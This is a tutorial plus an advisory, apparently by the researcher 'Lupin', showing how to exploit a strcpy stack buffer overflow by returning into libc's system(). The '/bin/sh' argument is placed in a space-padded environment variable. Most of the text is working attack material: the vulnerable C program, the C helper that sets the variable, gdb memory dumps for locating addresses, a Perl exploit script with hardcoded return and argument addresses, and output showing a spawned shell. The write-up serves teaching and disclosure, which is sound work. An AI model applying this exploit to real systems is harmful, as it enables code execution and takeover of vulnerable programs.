The scope of this article is to explain how to use the environment variables to successfully exploit a buffer overflow with a return into lib C. This approach has many advantages in particular :
int foo(char *string) { char vuln[25]; strcpy(vuln, string); return 42; } int main(int ac, char **av) { foo(av[1]); return 42; }As you can see there is no place to put the system() argument in this program. The environment will consequently be used to store it.
#include <string.h> #include <stdlib.h> #include <stdio.h> int main(int ac, char **av) { char command[500]; int len; int i; memset (command, '\0', 500); len = strlen(av[1]); //filling with " " which is the equivalent for the return of the \x90 of shellcode for (i = 0; i <= 500 - len; i++) command[i] = ' '; //filling with the command equivalent to the shellcode :) strcat(command, av[1]); setenv("RCL", command, 1); system("/bin/bash"); return 42; }
[lupin@saphyr return-into-libc]$ ./env /bin/sh [lupin@saphyr return-into-libc]$ export declare -x BROWSER="kfmclient openProfile webbrowsing" declare -x COLORTERM="" declare -x DISPLAY=":0" declare -x GTK_RC_FILES="/etc/gtk/gtkrc:/home/lupin/.gtkrc" <-snipe-> declare -x RCL=" /bin/sh" declare -x SECURE_LEVEL="0" <- snipe -> [lupin@saphyr return-into-libc]$One can see the command passed to the program (/bin/sh) is in the environment with a lot of spaces.
Breakpoint 1, 0x08048496 in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40073440 <system> (gdb) x/20x $esp 0xbffff5d0: 0x08049538 0x08049640 0xbffff618 0x400405b0 0xbffff5e0: 0x00000001 0xbffff644 0xbffff64c 0x080482fa 0xbffff5f0: 0x08048500 0x00000000 0xbffff618 0x4004059a 0xbffff600: 0x00000000 0xbffff64c 0x4015b9e0 0x40015638 0xbffff610: 0x00000001 0x08048360 0x00000000 0x08048381 <- snipe -> (gdb) 0xbffff800: 0x72756540 0x4f48006f 0x414e5453 0x733d454d 0xbffff810: 0x79687061 0x43520072 0x20203d4c 0x20202020 0xbffff820: 0x20202020 0x20202020 0x20202020 0x20202020 0xbffff830: 0x20202020 0x20202020 0x20202020 0x20202020 0xbffff840: 0x20202020 0x20202020 0x20202020 0x20202020 ...Let's pick an address in the middle of the \x20.
#making the overflow $over = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; #giving the system() adress to make the return into libc # 0x40073440 -> 40 34 07 40 $retaddr = "\x40\x34\x07\x40"; #giving a dummy return adress to our function $dummy = "FAKE"; #giving the adress of our env variable has arg #0xbffff870 $arg1 = "\x70\xf8\xff\xbf"; #Smash it !!! print $over; #print "BBBB"; print $retaddr; print $dummy; print $arg1;
[lupin@saphyr return-into-libc]$ ./vul `perl exploit.pl` sh-2.05$ ps afx PID TTY STAT TIME COMMAND 9 ? SW 0:00 [kupdated] 8 ? SW 0:00 [bdflush] 7 ? SW 0:00 [kreclaimd] 6 ? SW 0:00 [kswapd] <- snipe -> 2206 pts/1 S 0:00 | \_ /bin/bash 2415 pts/1 S 0:00 | \_ ./env /bin/sh 2416 pts/1 S 0:00 | \_ /bin/bash 2527 pts/1 S 0:00 | \_ ./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@4?@FAKEpøÿ¿ 2528 pts/1 S 0:00 | \_ /bin/sh 2530 pts/1 R 0:00 | \_ ps afx
Et voila :).
hello, This advisory intends to present a new way to make a return to lib C exploit. Synopsis -------- By using the environment variables one could easily exploit a buffer overflow with the return into lib C technic. Details -------- If we make an analogy with the shellcode technic : the \x20 act as \x90. For the system() function the sting "/bin/sh/" is equal to " /bin/sh". the return address overflowed is the system() address. the arg address will be our variables environment address. It give flexibility to the arg passed and help to chaining the return to lib C. Article ------- Related article describing this technic and example source code : http://www.bursztein.net/secu/rilc.html This technic should open a new range of exploits using the return into lib C. Sincerely, Elie aka "Lupin" Bursztein